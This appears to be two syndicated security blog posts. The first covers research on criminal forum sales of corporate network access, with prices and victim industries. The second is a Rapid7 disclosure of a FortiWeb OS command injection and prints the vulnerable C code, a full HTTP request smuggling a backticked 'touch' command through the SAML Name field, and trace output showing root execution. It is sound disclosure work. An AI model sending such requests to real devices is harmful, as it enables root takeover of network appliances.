During the process of researching and analyzing, we came across three surprising findings we thought worth highlighting. For a deeper dive, we recommend reading the full white paper, but let’s take a quick look at these discoveries here.

1. The massive gap between average and median breach sales prices

As part of our research, we took a close look at the pricing characteristics of breach sales in the criminal-to-criminal marketplace. Unsurprisingly, pricing varied considerably from one sale to another. A number of factors can influence pricing, including everything from the level of access provided to the value of the victim as a source of criminal revenue.

That said, we found an unexpectedly significant discrepancy between the average price and the median price across the 40 sales we analyzed. The average price came out to approximately $9,640 USD, while the median price was $3,000 USD.

In part, this gap can be attributed to a few unusually high prices among the most expensive offerings. The lowest price in our dataset was $240 USD for access to a healthcare organization in Colombia, but healthcare pricing tends to trend lower than other industries, with a median price of $700 in this sample. On the other end of the spectrum, the highest price was for a telecommunications service provider that came in at about $95,000 USD worth of Bitcoin.

Because of this discrepancy, IntSights researchers view the average price of $9,640 USD as a better indicator of the higher end of the price range, while the median price is more representative of typical pricing for these sales — $3,000 USD was also the single most common price. Nonetheless, it was fascinating to discover this difference and dig into the reasons behind it.

2. The numerical dominance of tech and telecoms victims

While the sales of network access are a cross-industry phenomenon, technology and telecommunications companies are the most common victims. Not only are they frequent targets, but their compromised access also commands some of the highest prices on the market.

In our sample, tech and telecoms represented 10 of the 46 victims, or 22% of those affected by industry. Out of the 10 most expensive offerings we analyzed, four were for tech and telecommunications organizations, and there were only two that had prices under $10,000 USD. A telecommunications service provider located in an unspecified Asian country also had the single most expensive offering in this sample at approximately $95,000 USD.

After investigating the reasoning behind this numerical dominance, IntSights researchers believe that the high value and high number of tech and telecommunications companies as breach victims stem from their usefulness in enabling further attacks on other targets. For example, a cybercriminal who gains access to a mobile service provider could conduct SIM swapping attacks on digital banking customers who use two-factor authentication via SMS.

These pricing standards were surprisingly expensive compared to other industries, but for good reason: the investment may cost more upfront but prove more lucrative in the long run.

3. The low proportion of retail and hospitality victims

As previously mentioned, we broke down the sales of network access based on the industries affected, and to our surprise, only 6.5% of victims were in retail and hospitality. This seemed odd, considering the popularity of the industry as a target for cybercrime. Think of all the headlines in the news about large retail companies falling victim to a breach that exposed millions of customer credentials.

We explored the reasoning behind this low proportion of victims in the space and came to a few conclusions. For example, we theorized that the main customers for these network access sales are ransomware operators, not payment card data collectors. Payment card data collection is likely a more optimal way to monetize access to a retail or hospitality business, whereas putting ransomware on a retail and hospitality network would actually “kill the goose that lays the golden eggs.”

We also found that the second-most expensive offering in this sample was for access to an organization supporting retail and hospitality businesses. The victim was a third party managing customer loyalty and rewards programs, and the seller highlighted how a buyer could monetize this indirect access to its retail and hospitality customer base. This victim may have been more valuable because, among other things, loyalty and rewards programs are softer targets with weaker security than credit cards and bank accounts; thus, they’re easier to defraud.

Learn more about compromised network access sales

Curious to learn more about the how and why of cybercriminals selling compromised network access? Read our white paper, Selling Breaches: The Transfer of Enterprise Network Access on Criminal Forums, for the full story behind this research and how it can inform your security efforts.

Fortinet FortiWeb OS Command Injection

2021-08-17 Tod Beardsley

Post Syndicated from Tod Beardsley original https://blog.rapid7.com/2021/08/17/fortinet-fortiweb-os-command-injection/

Fortinet FortiWeb OS Command Injection

An OS command injection vulnerability in FortiWeb’s management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page. This is an instance of CWE-78: Improper Neutralization of Special Elements used in an OS Command (‘OS Command Injection’) and has a CVSSv3 base score of 8.7. This vulnerability appears to be related to CVE-2021-22123, which was addressed in FG-IR-20-120.

Product Description

Fortinet FortiWeb is a web application firewall (WAF), designed to catch both known and unknown exploits targeting the protected web applications before they have a chance to execute. More about FortiWeb can be found at the vendor’s website.

Credit

This issue was discovered by researcher William Vu of Rapid7. It is being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Exploitation

An attacker, who is first authenticated to the management interface of the FortiWeb device, can smuggle commands using backticks in the “Name” field of the SAML Server configuration page. These commands are then executed as the root user of the underlying operating system. The affected code is noted below:

int move_metafile(char *path,char *name)
{
int iVar1;
char buf [512];
int nret;
snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = access(buf,0);
if (iVar1 != 0) {
snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/etc/saml/shibboleth/service_providers",name,
"Metadata",&DAT_00212758);
iVar1 = system(buf);
return iVar1;
}

The HTTP POST request and response below demonstrates an example exploit of this vulnerability:

POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: [redacted]
Cookie: [redacted]
User-Agent: [redacted]
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="metafile"; filename="test.xml"
Content-Type: text/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:KeyDescriptor use="signing">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:KeyDescriptor use="encryption">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
</md:IDPSSODescriptor>
</md:EntityDescriptor>
-----------------------------94351131111899571381631694412--
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jun 2021 11:59:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: [redacted]
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}

Note the smuggled ‘touch’ command is concatenated in the mkdir shell command:

[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0
[pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0
[pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0
[pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0

Finally, the results of the ‘touch’ command can be seen on the local command line of the FortiWeb device:

/# ls -l /tmp/vulnerable
-rw-r--r--    1 root     0                0 Jun 10 11:59 /tmp/vulnerable
/#

Impact

An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges. They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ. Note, though, Rapid7 researchers were only able to identify less than three hundred total of these devices that appear to be exposing their management interfaces to the general internet.

Note that while authentication is a prerequisite for this exploit, this vulnerability could be combined with another authentication bypass issue, such as CVE-2020-29015.

Remediation

In the absence of a patch, users are advised to disable the FortiWeb device’s management interface from untrusted networks, which would include the internet. Generally speaking, management interfaces for devices like FortiWeb should not be exposed directly to the internet anyway — instead, they should be reachable only via trusted, internal networks, or over a secure VPN connection.

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.